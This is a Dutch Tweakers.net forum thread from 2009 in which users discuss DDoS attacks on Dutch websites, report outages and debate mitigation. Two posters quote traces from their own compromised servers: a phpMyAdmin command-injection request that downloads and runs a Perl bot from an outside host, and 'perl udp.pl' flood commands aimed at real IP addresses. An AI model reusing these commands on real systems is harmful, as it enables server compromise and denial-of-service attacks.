Tweakers ge ddost.

[Wannial]

ik denk niet eens dat je het merk als ze het Ddossen, het is altijd al traag

[MochiGohan]

Geen stijl is nog angstig stil over het geheel. Ik had wel verwacht dat ze meteen een berichtje op de FP zouden knallen en een heksenjacht zouden beginnen.

[Matis]

MochiGohan schreef op maandag 24 augustus 2009 @ 09:24:
Geen stijl is nog angstig stil over het geheel. Ik had wel verwacht dat ze meteen een berichtje op de FP zouden knallen en een heksenjacht zouden beginnen.

Hmm, ik weet niet of ze zo happig zijn op hun eigen falen.

Geenstijl pretendeert natuurlijk altijd de beste en onschendbaar te zijn; Hieruit blijkt dat dit niet het geval was. Ze zullen het wel afdoen als een rat in de stoppenkast ofzo!

[WoBaDijk]

Ik vind niet dat je willekeurig voor sites hoopt dat ze geddost worden. Draai zelf wat sites en het is behoorlijk vervelend. Gun ik anderen ook niet, eerder degene die het doen.

En nee, ik ben absoluut geen hyves fan

[Grannd]

MochiGohan schreef op maandag 24 augustus 2009 @ 09:24:
Geen stijl is nog angstig stil over het geheel. Ik had wel verwacht dat ze meteen een berichtje op de FP zouden knallen en een heksenjacht zouden beginnen.

Misschien snappen ze dat zo'n heksnejacht misschien de bedoeling is geweest van de hele ddos op bekende Nederlandse sites.

[Slapstick]

Verwijderd in 'nieuws: Diverse Nederlandse sites slachtoffer ddos-aanval'

na dit bericht te lezen gehad hebben heb ik mijn eigen server gecontroleerd
en deze wat verdomme ook onder atack blijkbaar ook al bezig van gisteren avond zelfde tijd als tweaker plat ging
wat vreemd is want er staat niks belangrijks of zo op gewoon paar websites met verder weinig bezoekers dus

dit stond er in mijn webmin procces

perl udp.pl 91.201.195.230 0 0
perl udp.pl 91.201.195.230 80 0
perl udp.pl 88.191.100.144 80 0
perl udp.pl 78.21.149.64 53 0

met een hoge cpu percentage elk er werd zo'n 20mbits constant weg getrokken goed voor verlies van 80gb trafiek
men dedicated hoster is worldstream en heb ze gemaild
weet natuurlijk niet of dit door de aanvallen op de Nederlandse websites heeft te maken natuurlijk maar is wel heel toevallig zelfde tijdstip

Verwijderd in 'nieuws: Diverse Nederlandse sites slachtoffer ddos-aanval'

en nu je het zegt het is uitgaande data OMG

Zullen we hem ophangen?

[Emile|IA]

Artwido schreef op maandag 24 augustus 2009 @ 05:15:
[...]


want? heb jij last van hyves dan?

Ja, als ik ergens een enorme hekel aan heb is dat wel hyves, ja .

[Artwido]

Emile schreef op maandag 24 augustus 2009 @ 09:47:
[...]

Ja, als ik ergens een enorme hekel aan heb is dat wel hyves, ja .

dan ga je er toch gewoon niet heen. Omdat jij het geen leuke site vind mogen van jou tienduizenden gebruikers die het wel een leuke site vinden hyves niet meer zien.

[Emile|IA]

Artwido schreef op maandag 24 augustus 2009 @ 10:01:
[...]

dan ga je er toch gewoon niet heen. Omdat jij het geen leuke site vind mogen van jou tienduizenden gebruikers die het wel een leuke site vinden hyves niet meer zien.

Ik zit er ook niet op. En waar zeg ik trouwens dat 'tienduizenden gebruikers die het wel een leuke site vinden hyves niet meer mogen zien' ?

Ik zie trouwens dat GS wel een nieuw topic heeft geplaatst, maar dat gaat niet over de DDoS. Willen ze dat liever geheim houden ofzo?

[ Voor 11% gewijzigd door Emile|IA op 24-08-2009 10:05 ]

[anandus]

Emile schreef op maandag 24 augustus 2009 @ 10:04:
[...]

Ik zit er ook niet op. En waar zeg ik trouwens dat 'tienduizenden gebruikers die het wel een leuke site vinden hyves niet meer mogen zien' ?

Hier

Emile schreef op zondag 23 augustus 2009 @ 23:18:
[...]
Ik hoop trouwens dat ze Hyves ook een keer DDoS'en. Daar zou ik blij mee zijn.

[Marzman]

Slapstick schreef op maandag 24 augustus 2009 @ 09:37:
Verwijderd in 'nieuws: Diverse Nederlandse sites slachtoffer ddos-aanval'


[...]


Verwijderd in 'nieuws: Diverse Nederlandse sites slachtoffer ddos-aanval'


[...]


Zullen we hem ophangen?

Onder attack noemt hij dat Dat zijn host het zelf niet gestopt heeft door die server af te sluiten.

[Emile|IA]

anandus schreef op maandag 24 augustus 2009 @ 10:07:
[...]
Hier

[...]

Ja, dat hoop ik wel, maar ik zeg toch niet dat mensen er niet op mogen kijken?

[anandus]

Emile schreef op maandag 24 augustus 2009 @ 10:17:
[...]

Ja, dat hoop ik wel, maar ik zeg toch niet dat mensen er niet op mogen kijken?

Hoe moeten mensen erop kijken als het geddost wordt dan?
/offtopic

[Bierkameel]

OMG het haalde net zelfs de NOS headlines op 3FM
Wie was dat van Tweakers.net aan het woord?

[BtM909]

Hlp

[Hahn]

Daniël, naar het schijnt.

[DDX]

Slapstick schreef op maandag 24 augustus 2009 @ 09:37:
Zullen we hem ophangen?

Ach ik had hier ook een server die vrolijk meedeed.

uit de accesslog van de website :

access_log.2009-08-15:92.84.35.222 - - [15/Aug/2009:16:37:08 +0200] "GET /phpmyadmin/config/config.inc.php/?c=wget%20http://pistol.clan.su/dc.txt%20-O%20/var/tmp/dc.txt;perl%20/var/tmp/dc.txt%2088.191.92.202%208003 HTTP/1.1" 200 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13"

en 'netjes' een aantal bestanden in tmp (eigenaar apache)
totaal zo'n 36gb verkeer gegenereerd...

Leuk die mensen die stug tooltjes zoals phpmyadmin blijven uploaden naar hun website...

[anandus]

Mute schreef op maandag 24 augustus 2009 @ 17:38:
Daniël, naar het schijnt.

[Dancing_Animal]

Hoe kan het dat een site met zoveel computerkennis zomaar down ge ddost kan worden?

[Bierkameel]

Uhm omdat je elke site kan Dossen, er valt wel iets aan te doen maar het is niet te voorkomen.

[Hahn]

Dancing_Animal schreef op maandag 24 augustus 2009 @ 17:48:
Hoe kan het dat een site met zoveel computerkennis zomaar down ge ddost kan worden?

Net zo goed als dat het kan dat je het Amerikaanse leger onverwachts met miljoenen Chinezen burgers aanvalt en ze daar niet gelijk gehakt van maken?

[DDX]

Er valt weinig aan te doen, als er meer requests naar je toekomen dan jij bandbreedte hebt is het gewoon over met je verbinding.
Opzich kan je nog proberen requests te droppen, maar welke dan en dan stop je alleen reply verkeer.

Wij hebben het ook een keer gehad naar 1 website, oplossing was bij onze uplink provider (level3) tijdelijk het ipadres uit de routering halen zodat andere websites geen last hadden.

[Shanquish]

maar wat is precies de "drive" achter een site DDosen?
bij een website kraken kan ik me iets bij voorstellen, de euforie dat het gelukt is of om iets te bewijzen, of gewoon om iets te stelen.

maar een ddos is geen van dat allen, je maakt er effectief een website mee onbereikbaar, volgens mij is er er niet iets waaruit blijkt van: "ik ben een knappe kop want ik kan dit of dat" toch?
voor mij is dat een beetje hetzelfde als een barricade opwerpen zodat mensen niet naar bijv. hun werk kunnen gaan.

ter info, ik ben geen websitebeheerder oid, dus wellicht zie ik iets kritisch over het hoofd ofzo?

[anandus]

shameete schreef op maandag 24 augustus 2009 @ 18:15:
maar wat is precies de "drive" achter een site DDosen?
bij een website kraken kan ik me iets bij voorstellen, de euforie dat het gelukt is of om iets te bewijzen.

maar een ddos is geen van dat allen, je maakt er effectief een website mee onbereikbaar, volgens mij is er er niet iets waaruit blijkt van: "ik ben een knappe kop want ik kan dit of dat" toch?
voor mij is dat een beetje hetzelfde als een barricade opwerpen zodat mensen niet naar bijv. hun werk kunnen gaan.

ter info, ik ben geen websitebeheerder oid, dus wellicht zie ik iets kritisch over het hoofd ofzo?

Afpersing is een goede om mee te beginnen.

[sewer]

Nou, gewoon de macht dat je met een druk op de knop elke willekeurige site kan platleggen wanneer je wilt ofzo

[Marzman]

Het gaat ook vaak om websites van politieke tegenstanders, zo heeft Rusland Blogger en wat andere sites platgelegd omdat iemand een berichtje over die oorlog had geplaatst, leggen tegenstanders van Brein de website van Brein plat en leggen spammers websites plat van mensen die iets aan het spamprobleem proberen te doen. Gisteren was het alleen niks van dit alles, de enige reden die ik daarvoor kan bedenken is wat sewer opnoemt.

[Dancing_Animal]

Is Brein al aan de beurt geweest dan ?

[Roamor]

Dancing_Animal schreef op maandag 24 augustus 2009 @ 19:12:
Is Brein al aan de beurt geweest dan ?

Die zijn nu druk bezig met de PB zo te zien.

[Marzman]

Dancing_Animal schreef op maandag 24 augustus 2009 @ 19:12:
Is Brein al aan de beurt geweest dan ?

Die vragen er om met hun scam/fraude/hatefull, violent content
http://www.mywot.com/en/scorecard/anti-piracy.nl#page-1

[Kain_niaK]

Is het weer bezig ? Dezelfde sites die toen een tijdje onbereikbaar zijn geweest laden nu weer niet of heel traag. Geenstijl heeft mij nog een paar keer een pagina gegeven maar is nu sinds 10 minuten onbereikbaar. Fok laad wel.

[Bertus]

geenstijl doet het al weer redelijk

[Kain_niaK]

Blijkbaar hebben ze een topic wat nogal heel veel comments op levert en hebben ze iets veranderd aan hun load balancer. http://twitter.com/Pritt/status/3866579525
Vandaar. Loos alarm dus

[AW_Bos]

Volgens de tweets van T.net was het net weer raak. Hoeveel megabit dit keer ?

[Marzman]

Was het een DDoS? Zo weinig mogelijk aandacht aan schenken dan, want daar gaat het om..

[Fietsbel]

plan: Server- & netwerkstatusmeldingen IX

Kansloos een DDos, maarja

[HenkEisDS]

Is het niet mogelijk om dmv een database van user IP's/ user sessies gewoon ALLES te droppen behalve de IP's van users die langer dan een week lid zijn ofzo?

[Brons]

HenkEisDS schreef op zondag 13 september 2009 @ 13:12:
Is het niet mogelijk om dmv een database van user IP's/ user sessies gewoon ALLES te droppen behalve de IP's van users die langer dan een week lid zijn ofzo?

Je kan pas iets droppen als je iets ontvangen hebt, en dan is het al te laat.

[Matis]

Brons schreef op zondag 13 september 2009 @ 13:14:
Je kan pas iets droppen als je iets ontvangen hebt, en dan is het al te laat.

Het probleem bij een DDOS is gewoon dat de 3e handshake nooit komt, waardoor er bij de server gewacht wordt op de 3e, maar die zal er nooit komen. Na een bepaalde tijd wordt die request weggegooid, maar dan is de volgende al weer aan het blokken

Het probleem is dus eigenlijk dat je in theorie juist niets ontvangt.
http://upload.wikimedia.org/wikipedia/commons/a/a2/Tcp_state_diagram_fixed.svg

[ Voor 6% gewijzigd door Matis op 13-09-2009 13:49 ]

[Fietsbel]

volgens mij is fok weer aan de beurt

[Resistor]

Fietsbel schreef op zondag 13 september 2009 @ 15:20:
volgens mij is fok weer aan de beurt

Je was me voor.

Ik dacht dat DDoS uit de mode waren? Tijden niets over DDoS'sen gehoord, en nu binnen een paar weken een paar keer achter elkaar. Zouden er nieuwe tooltjes zijn waarmee je dat kan doen, en de kiddies er mee lopen te kloten?

[Hooglander1]

kiddo's met een botnet waar ze niets beters voor weten. Ten slotte heeft dit echt geen nut...

[Keiichi]

Matis schreef op zondag 13 september 2009 @ 13:47:
[...]

Het probleem bij een DDOS is gewoon dat de 3e handshake nooit komt, waardoor er bij de server gewacht wordt op de 3e, maar die zal er nooit komen. Na een bepaalde tijd wordt die request weggegooid, maar dan is de volgende al weer aan het blokken

Het probleem is dus eigenlijk dat je in theorie juist niets ontvangt.
http://upload.wikimedia.org/wikipedia/commons/a/a2/Tcp_state_diagram_fixed.svg

Kan er met zo'n 3weg handschake niet aggresief omgegaan worden met timeouts op het moment dat er zo'n DDoS aanval aan de gang is.

Ik weet niet hoe lang een timeout is voor de 3de handshake, maar als dit op enkele seconden max gezet word, neemt dan de impact van de aanval niet af?

[GH45T]

Keiichi schreef op zondag 13 september 2009 @ 15:26:
[...]


Kan er met zo'n 3weg handschake niet aggresief omgegaan worden met timeouts op het moment dat er zo'n DDoS aanval aan de gang is.

Ik weet niet hoe lang een timeout is voor de 3de handshake, maar als dit op enkele seconden max gezet word, neemt dan de impact van de aanval niet af?

Beetje intelligente hardware firewall kan die connections ook overnemen.

Als die merkt dat er een x aantal connecties worden opgebouwd vanaf hetzelfde ip adres dan gaat hij zelf de connectie opbouwen, komt de 3de handshake niet dan dropt de firewall dan de connectie.

Maar op zich is niet alleen het connecties opbouwen een probleem, als het vanaf een botnet gebeurd dan worden er zoveel pakketjes verstuurd dat de hele verbinding dichtslipt.

[Keiichi]

Wat ik me dan afvraag, je hebt het over een beetje intelligente hardware firewall. Bestaat de perfect firewall die vrijwel alle DDoS aanvallen kan sussen?

[Resistor]

Keiichi schreef op zondag 13 september 2009 @ 15:40:
Wat ik me dan afvraag, je hebt het over een beetje intelligente hardware firewall. Bestaat de perfect firewall die vrijwel alle DDoS aanvallen kan sussen?

Je mag dan nog zo'n grote parkeerplaats hebben, als de oprit niet groot genoeg is om alle auto's snel van en naar de parkeerplaats te krijgen heb je nog file.

Zelfs al zet je aan het einde van de oprit een rotonde waar auto's die er niet op mogen van de portier kunnen draaien, het moet toch over die ene oprit.

[vormstreber]

Resistor schreef op zondag 13 september 2009 @ 15:47:
[...]

Je mag dan nog zo'n grote parkeerplaats hebben, als de oprit niet groot genoeg is om alle auto's snel van en naar de parkeerplaats te krijgen heb je nog file.

Zelfs al zet je aan het einde van de oprit een rotonde waar auto's die er niet op mogen van de portier kunnen draaien, het moet toch over die ene oprit.

Om in die metafoor te blijven: Bestaat er dan geen systeem waarin de portier naar de omliggende kruispunten kan bellen zodat deze geen auto's meer in de richting van de parkeerplaats sturen.

Of blokkeer je daarmee zowiezo al het verkeer zodat de site alsnog plat ligt?

[Arne]

Dan komt die tegengehouden auto niet meer op zijn bestemming, of in dit geval de onschuldige bezoeker.

[Peertje]

- edit - foutje bedankt

[ Voor 82% gewijzigd door Peertje op 13-09-2009 17:11 ]

[vormstreber]

arne schreef op zondag 13 september 2009 @ 17:00:
Dan komt die tegengehouden auto niet meer op zijn bestemming, of in dit geval de onschuldige bezoeker.

Dacht ik al... nog een ideetje:
Wat als je een soort van tijdelijke waterstop inbouwt:
- Na een maximum aantal aanvragen per sec/minuut geen toegang meer naar die server.
- Of alleen maar toegang vanuit Nederland en Belgie.

Een normale benelux gebruiker kan dan nog wel toegang krijgen, maar de internationale bulk kan niet in de buurt komen.

[moto-moi]

Matis schreef op zondag 13 september 2009 @ 13:47:
Het probleem bij een DDOS is gewoon dat de 3e handshake nooit komt, waardoor er bij de server gewacht wordt op de 3e, maar die zal er nooit komen. Na een bepaalde tijd wordt die request weggegooid, maar dan is de volgende al weer aan het blokken

Je beschrijft nu een voorbeeld van een ddos, er zijn nog genoeg andere typen te verzinnen hoor

[GH45T]

vormstreber schreef op zondag 13 september 2009 @ 18:01:
[...]


Dacht ik al... nog een ideetje:
Wat als je een soort van tijdelijke waterstop inbouwt:
- Na een maximum aantal aanvragen per sec/minuut geen toegang meer naar die server.
- Of alleen maar toegang vanuit Nederland en Belgie.

Een normale benelux gebruiker kan dan nog wel toegang krijgen, maar de internationale bulk kan niet in de buurt komen.

En wie moet daar op gaan filteren? Je ISP?

Want als je dat zelf gaat doen is het direct vrijwel nutteloos, want als die verbindingen tot aan je router of firewall komen hebben ze toch al je internet verbinding dicht staan.

Als dos aanvallen direct bij de eerste hop van de isp waar de dos-er op zit zou worden aangepakt zou de pijn veel minder zijn. Dan zou de dos-er hooguit zijn eigen lijn volgooien. Probleem is alleen dat isp's gewoon data verstouwen, ze gaan niet kijken wat je verstuurd of ontvangt en al helemaal niet waarom je dat doet.

[EDIT]

Zozo, net alweer ddos achter de rug?
Was deze user weer bezig?

[ Voor 34% gewijzigd door EDIT op 19-09-2009 20:49 ]

[CyBeR]

GH45T schreef op zondag 13 september 2009 @ 21:15:
[...]

En wie moet daar op gaan filteren? Je ISP?

Want als je dat zelf gaat doen is het direct vrijwel nutteloos, want als die verbindingen tot aan je router of firewall komen hebben ze toch al je internet verbinding dicht staan.

Ligt aan wat er geDoS'ed wordt en hoe hard. Sommiger DoS'en zijn qua verkeer niet zo boeiend (50mbit op een 100mbit lijn) en slagen alleen maar doordat de ontvangende server 't niet kan verwerken of er iets mee doet waardoor 'ie heel druk wordt (bv. firewall drops loggen naar disk). Dat is prima te filteren. Maar inderdaad, een 5gbit DDoS richting je 100mbit lijn doe je niet zo veel tegen.

[Padvinder]

Woei!

[Brons]

Valt mij wel op dat de laatste tijd T.net veel last heeft van DDoS'en. Iemand uit de HK gebanned?

[AW_Bos]

ja, en we waren weer uit de lucht... **kreun**. Wat willen ze nou bereiken, en waarom GoT?
Is Fok! soms niet interessant meer? Niet dat die plat hoeven, ofzo.

Ik merk wel, het gebeurt wel steeds in een weekend? Nieuwe rage? Geen huiswerk meer, en we gaan dus maar even lekker (d)dossen?

[Marzman]

Ik denk eerder omdat ze verwachten dat de serverbeheerders dan weekend aan het vieren zijn en ze het dus langer plat kunnen houden.

[Emile|IA]

En ik maar denken dat mijn nieuwe router het niet deed.

[DennusB]

Emile schreef op zaterdag 19 september 2009 @ 20:28:
En ik maar denken dat mijn nieuwe router het niet deed.

En ik denken dat de routing van m'n nieuwe UPC verbinding kut was Haha
Gelukkig niet. Maar ze mogen nu wel een keer stoppen met dat ge-ddos!

[AW_Bos]

Emile schreef op zaterdag 19 september 2009 @ 20:28:
En ik maar denken dat mijn nieuwe router het niet deed.

DennusB schreef op zaterdag 19 september 2009 @ 20:32:
[...]


En ik denken dat de routing van m'n nieuwe UPC verbinding kut was Haha
Gelukkig niet. Maar ze mogen nu wel een keer stoppen met dat ge-ddos!

http://downforeveryoneorjustme.com/

[alex3305]

Echter was Tweakers niet helemaal down. De titel van de pagina kwam er bij mij nog net doorheen namelijk.

[Verwijderd]

Idem hier, het kwam er nog wel door maar héél héél héél traag en in stukjes & brokjes

Nu voor dit soort dingen is Twitter eigenlijk wel handig, je weet onmiddellijk bijna wat er aan de hand is en je weet dat je niet de enigste bent die problemen heeft met het bereiken van de website ...

[Emile|IA]

AW_Bos schreef op zaterdag 19 september 2009 @ 20:35:
http://downforeveryoneorjustme.com/

alex3305 schreef op zaterdag 19 september 2009 @ 21:37:
Echter was Tweakers niet helemaal down. De titel van de pagina kwam er bij mij nog net doorheen namelijk.

En daarom gaf dus downforeveryoneorjustme.com aan dat Tweakers.net gewoon up was.

[Matis]

Emile schreef op zondag 20 september 2009 @ 08:55:
En daarom gaf dus downforeveryoneorjustme.com aan dat Tweakers.net gewoon up was.

Bij mij absoluut niet! Ik heb weer een uur f5 door m'n ramplank lopen stampen

[Matis]

net weer down?

[moto-moi]

Matis schreef op maandag 21 september 2009 @ 22:00:
net weer down?

Nee, dunno why, maar bepaalde providers (oa. ziggo) hadden opeens stomzinnig veel moeite om onze servers te vinden. Niets veranderd, en opeens werkte het weer..

[Matis]

moto-moi schreef op maandag 21 september 2009 @ 22:08:
[...]

Nee, dunno why, maar bepaalde providers (oa. ziggo) hadden opeens stomzinnig veel moeite om onze servers te vinden. Niets veranderd, en opeens werkte het weer..

In dat geval online ook. Downforeveryone zei ook dat t.net dood was

[anandus]

Hier was tweakers opeens net ook niet te bereiken.
Ik zit niet bij Ziggo, was het een ddos?
(En heeft het een met het andere te maken?)

[Glashelder]

TweakDSL, Planet, UPC, Ziggo..geen van allen kon net Tweakers bereiken. Denk toch iets bij tweakers dan

[grass460]

same here met telfort, is dus niet perse een ziggo probleem

[Matis]

Glashelder schreef op dinsdag 22 september 2009 @ 00:00:
TweakDSL, Planet, UPC, Ziggo..geen van allen kon net Tweakers bereiken. Denk toch iets bij tweakers dan

Via Vodafone ook niet

[Wiethoofd]

Alice en Online ook zonet confirmed down...

[Dr_Hell]

Google.nl en google.com deden het net ook even niet.
Net als tweakers.net

Blijkbaar is er toch meer aan de hand geweest dan een simpele storing?

Telfort btw.

[Matis]

Dr_Hell schreef op dinsdag 22 september 2009 @ 00:06:
Google.nl en google.com deden het net ook even niet.
Net als tweakers.net

Blijkbaar is er toch meer aan de hand geweest dan een simpele storing?

Telfort btw.

AMS-IX zal wel blank staan

[BGB4rn]

met xs4all net ook hier, was er echt even uit, afgelopen weken is het mij ook wel vaker opgevallen dat tweakers soms dood is, dan staat hij op http://downforeveryoneorjustme.com/ stond ook dat het dood was .

[mgizmo]

glasvezel via concepts, idem, down voor even.

[Langhe]

ziggo was die ook even down... en is nog soms een beetje traag...

[ Voor 39% gewijzigd door Langhe op 22-09-2009 00:14 ]

[addictive]

idem hier.

Al enig idee waar het aan zou kunnen liggen?

[Marzman]

Dr_Hell schreef op dinsdag 22 september 2009 @ 00:06:
Google.nl en google.com deden het net ook even niet.
Net als tweakers.net

Blijkbaar is er toch meer aan de hand geweest dan een simpele storing?

Telfort btw.

Google lag aan Opendns, zoek op twitter maar eens op opendns

[Touchdomex]

Planet/KPN was niets aan de hand hier....

[anandus]

Touchdomex schreef op dinsdag 22 september 2009 @ 00:14:
Planet/KPN was niets aan de hand hier....

You sure?
Van .47 tot .59 staan er ook geen topics in AT.

[Dr_Hell]

Marzman schreef op dinsdag 22 september 2009 @ 00:14:
[...]

Google lag aan Opendns, zoek op twitter maar eens op opendns

Thanks!
OpenDNS was inderdaad ook slecht/niet te bereiken.

[de_pizzaboer]

Niets van gemerkt. Hier Dxadsl België.

[MadMarky]

Touchdomex schreef op dinsdag 22 september 2009 @ 00:14:
Planet/KPN was niets aan de hand hier....

Jawel hoor
Viel wel mee dit keer, paar minuutjes maar volgens mij.

[RobIII]

de_pizzaboer schreef op dinsdag 22 september 2009 @ 00:23:
Niets van gemerkt. Hier Dxadsl België.

Explain this:

en this:

[ Voor 32% gewijzigd door RobIII op 22-09-2009 00:30 ]

[de_pizzaboer]

RobIII schreef op dinsdag 22 september 2009 @ 00:27:
[...]

Explain this:
[afbeelding]
en this:
[afbeelding]

Blijkbaar was ik toen niet op tweakers.

Edit: Let niet constant op de tijd.

[ Voor 5% gewijzigd door de_pizzaboer op 22-09-2009 00:33 ]

[Marzman]

Ik was toen ook even 10 minuten wat anders aan het doen, kun je zien wat een pageviews dat scheelt als wij even niet op tweakers kijken

[ Voor 5% gewijzigd door Marzman op 22-09-2009 00:32 . Reden: het zijn pageviews ]

[RobIII]

de_pizzaboer schreef op dinsdag 22 september 2009 @ 00:29:
[...]


Blijkbaar was ik toen niet op tweakers.

Dan heeft het ook weinig nut om te roepen dat je er niets van gemerkt hebt he?

[purge]

Nou ja, hij heeft natuurlijk wel een punt dat hij niets heeft gemerkt.
En ik maar denken dat m'n internet (kuch telfort) stuk was

[ Voor 5% gewijzigd door purge op 22-09-2009 00:41 ]

[RobIII]

purge schreef op dinsdag 22 september 2009 @ 00:39:
Nou ja, hij heeft natuurlijk wel een punt dat hij niets heeft gemerkt.

Natuurlijk, ik ben ook maar in een plagerige bui en bedoelde er verder niets mee. Maar feit is dat als je niets gemerkt hebt er misschien een belletje gaat rinkelen van "hey, misschien was ik wel nét die tijd niet online" Er was immers al geconstateerd hoe "lang" het geduurd heeft.

[ Voor 3% gewijzigd door RobIII op 22-09-2009 00:42 ]

[Verwijderd]

EDIT schreef op zaterdag 19 september 2009 @ 19:36:
Zozo, net alweer ddos achter de rug?
Was deze user weer bezig?

[ Voor 60% gewijzigd door Verwijderd op 22-09-2009 00:48 ]

[CyBeR]

moto-moi schreef op maandag 21 september 2009 @ 22:08:
[...]

Nee, dunno why, maar bepaalde providers (oa. ziggo) hadden opeens stomzinnig veel moeite om onze servers te vinden. Niets veranderd, en opeens werkte het weer..

Klinkt als een simpele routing fuckup bij True

[Matis]

CyBeR schreef op dinsdag 22 september 2009 @ 00:55:
Klinkt als een simpele routing fuckup bij True

Klinkt als falende redundantie

[_Apache_]

EDIT schreef op zaterdag 19 september 2009 @ 19:36:
Zozo, net alweer ddos achter de rug?
Was deze user weer bezig?

You got me for a second there..

* _Apache_ is nog niet helemaal wakker.

[HyperioN]

Kan aan mij liggen.. maar ik heb weer bijzonder veel moeite t.net met fatsoenlijke snelheid te bereiken.
Ziggo hier..
/snelle edit: en nu lijkt het weer goed te gaan sorry voor de kick

[ Voor 24% gewijzigd door HyperioN op 25-09-2009 00:44 ]

[Sigma2k8]

Zelfde hier... dacht ook al dat het misschien aan Ziggo lag. Tweakers is vaker slecht te bereiken de laatste tijd.

[JJ Le Funk]

HyperioN schreef op vrijdag 25 september 2009 @ 00:44:
Kan aan mij liggen.. maar ik heb weer bijzonder veel moeite t.net met fatsoenlijke snelheid te bereiken.
Ziggo hier..
/snelle edit: en nu lijkt het weer goed te gaan sorry voor de kick

bij mij was tweakers net ook behoorlijk aan het hikken (telfort adsl)

[BGB4rn]

jij ook al ? was ik aan het lezen in het topic over die trein ellende wil ik de volgende page laden duurt dat een minuut ofzo

edit, nogsteeds xs4all hier dus het ligt ws niet meer aan een provider maar aan een ddos of zo

[ Voor 27% gewijzigd door BGB4rn op 25-09-2009 00:49 ]

[de_pizzaboer]

Bij mij ging er niets meer behalve google.

[warp]

tweakimg.net reageert niet al te vlot.